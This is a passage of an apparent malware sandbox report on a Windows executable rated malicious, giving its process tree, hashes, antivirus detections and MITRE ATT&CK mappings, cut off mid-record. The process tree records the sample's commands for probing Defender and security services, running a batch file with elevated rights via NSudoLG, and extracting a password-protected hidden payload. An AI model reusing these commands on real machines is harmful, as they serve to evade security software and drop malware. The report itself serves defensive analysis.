"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\desktop.ini"68:T1516,Spawned process "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (UID: 00000000-00002668) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\7e5cy7w4O.bat" "" (UID: 00000000-00001656) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00007940) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004984) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00004960) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00008136) Spawned process "NSudoLG.exe" with commandline "NSudoLG -U:T -P:E -UseCurrentConsole "%TEMP%\\7e5cy7w4O.bat" any_word" (UID: 00000000-00006880) Spawned process "cmd.exe" with commandline "/c ""%TEMP%\\7e5cy7w4O.bat" any_word "" (UID: 00000000-00006604) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00004692) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00004440) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00006740) Spawned process "reg.exe" with commandline "reg add "HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" (UID: 00000000-00004800) Spawned process "mode.com" with commandline "Mode 79,49" (UID: 00000000-00005844) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00007308) Spawned process "find.exe" with commandline "find /i "0x0"" (UID: 00000000-00004784) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00004724) Spawned process "cmd.exe" with commandline "/c tasklist" (UID: 00000000-00006092) Spawned process "tasklist.exe" (UID: 00000000-00001376) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00004868) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00006836) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00007016) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00004320) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00005096) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00005024) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00005164) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00007200) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00004836) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00007364) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00007312) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00001952) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00002700) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00003388) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00001124) Spawned process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecCore"" (UID: 00000000-00006704) Spawned process "cmd.exe" with commandline "/S /D /c" ver "" (UID: 00000000-00003964) Spawned process "findstr.exe" with commandline "findstr /c:"6.1.7601"" (UID: 00000000-00005944) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" /v "ProductName"" (UID: 00000000-00006864) Spawned process "find.exe" with commandline "find /i "Windows 7"" (UID: 00000000-00006916) Spawned process "reg.exe" with commandline "reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter" (UID: 00000000-00005036) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender"" (UID: 00000000-00007376) Spawned process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender\\Exclusions\\Paths"" (UID: 00000000-00008016) Spawned process "find.exe" with commandline "find /i "C:\\"" (UID: 00000000-00005520) Spawned process "7z.exe" with commandline "7z x -aoa -bso0 -bsp1 "same.zip" -p"stucha" "mika.exe"" (UID: 00000000-00006000) Spawned process "mika.exe" with commandline "/CurrentDiskSize" (UID: 00000000-00006300)69:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzMzMzNzMzMzMzMwAAAIiIiIiIiDiIiIiIiIgAAACIiIiIiIg4iIiIiIiIAAAAiIiIiIiIOIiIiIiIiAAAAIiIiIiIiHiIiIiIiIgAAACId3d3d3d4d3d3d3eIAAAAh3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cACId3d3d3d3c3d3d3d3d3eIiHd4iIiIiIiIiIiIiId3iIh3f//////////////3d4gId4//////////////+HeAB3eP//////////////h3cAB3////////////////dwAAeP///////////////4cAAB/////////////////xAAAAIiImIgREZ3QREZlXAAAAAGIiJiJERGd2ERGZeAAAAABiIiYiRERndhERmXgAAAAAYiImIkREZ3YREZl4AAAAAGIiJiJERHd3ERGZeAAAAABiIioiRER3dxERmXgAAAAAYiImIkREZ3cREZl4AAAAAGu7u7JDO7u3EZu7uAAAAABmImpiRER3dxERmXgAAAAAd3d3d3d3d3d3eIiIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////+AAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAABwAAAAAAAAAAAAAAAIAAAAGAAAABwAAAA4AAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAHAAAAD8AAAD/AAAA/wAAAP8AAAD////////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791021483340,"unified_at":"2026-10-03T09:58:03.340Z","metadata":{"hashes":{"sha256":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985","sha1":"22a2c4a8abc718cd8745dfac922def822d846de6","md5":"c3f77554c8b216a610ac7525d6e20fb1","sha512":"827d74b5bb541d8571e60ab5a959f992906d6feee25c2e62713fbba9a2d91a912091fa96f15ff08ff02f1a11bcb186938283d4d13430ec6fb672d32d1ae0e73c","ssdeep":"98304:aYT3R4w3K6tZSaMSs1eJMn7w08BKAqffmjz:v2w3E16MiBrUfmH","ssdeep_chunks":["98304:aYT3R4w","98304:YT3R4w3","98304:T3R4w3K","98304:3R4w3K6","98304:R4w3K6t","98304:4w3K6tZ","98304:w3K6tZS","98304:3K6tZSa","98304:K6tZSaM","98304:6tZSaMS","98304:tZSaMSs","98304:ZSaMSs1","98304:SaMSs1e","98304:aMSs1eJ","98304:MSs1eJM","98304:Ss1eJMn","98304:s1eJMn7","98304:1eJMn7w","98304:eJMn7w0","98304:JMn7w08","98304:Mn7w08B","98304:n7w08BK","98304:7w08BKA","98304:w08BKAq","98304:08BKAqf","98304:8BKAqff","98304:BKAqffm","98304:KAqffmj","98304:Aqffmjz","196608:aYT3R4w","196608:YT3R4w3","196608:T3R4w3K","196608:3R4w3K6","196608:R4w3K6t","196608:4w3K6tZ","196608:w3K6tZS","196608:3K6tZSa","196608:K6tZSaM","196608:6tZSaMS","196608:tZSaMSs","196608:ZSaMSs1","196608:SaMSs1e","196608:aMSs1eJ","196608:MSs1eJM","196608:Ss1eJMn","196608:s1eJMn7","196608:1eJMn7w","196608:eJMn7w0","196608:JMn7w08","196608:Mn7w08B","196608:n7w08BK","196608:7w08BKA","196608:w08BKAq","196608:08BKAqf","196608:8BKAqff","196608:BKAqffm","196608:KAqffmj","196608:Aqffmjz","98304:v2w3E16","98304:2w3E16M","98304:w3E16Mi","98304:3E16MiB","98304:E16MiBr","98304:16MiBrU","98304:6MiBrUf","98304:MiBrUfm","98304:iBrUfmH"],"imphash":"12e12319f1029ec4f8fcbed7e82df162"},"file_info":{"file_name":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe","file_type":["peexe","executable","compressed","sfx","rar"],"file_type_id":"exe rar sfx","file_size":3781846,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1766159318000,"last_seen":1768373186000,"last_multi_scan":1768373186000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["nircmd","evasive"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":94},"sandbox_signatures":{"informative_count":244,"suspicious_count":11,"malicious_count":11,"total":266},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Rasftuby.Gen.14","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Malware.Zenpak-10017873-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Rasftuby.Gen.14 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.xaoftl.cfsq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Dropper.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Hacktool ( 00617ec61 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-e021834d!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.RarDrp.HKZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_52.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Rasftuby.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"malicious","value":"Contains native function calls"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","identifiers":[{"type":"malicious","value":"Contains ability to start/interact with device drivers"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","identifiers":[{"type":"malicious","value":"References security related windows services"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"informative","value":"Contains reference to messaging system library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Spawned processes likely due to injection"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"malicious","value":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API 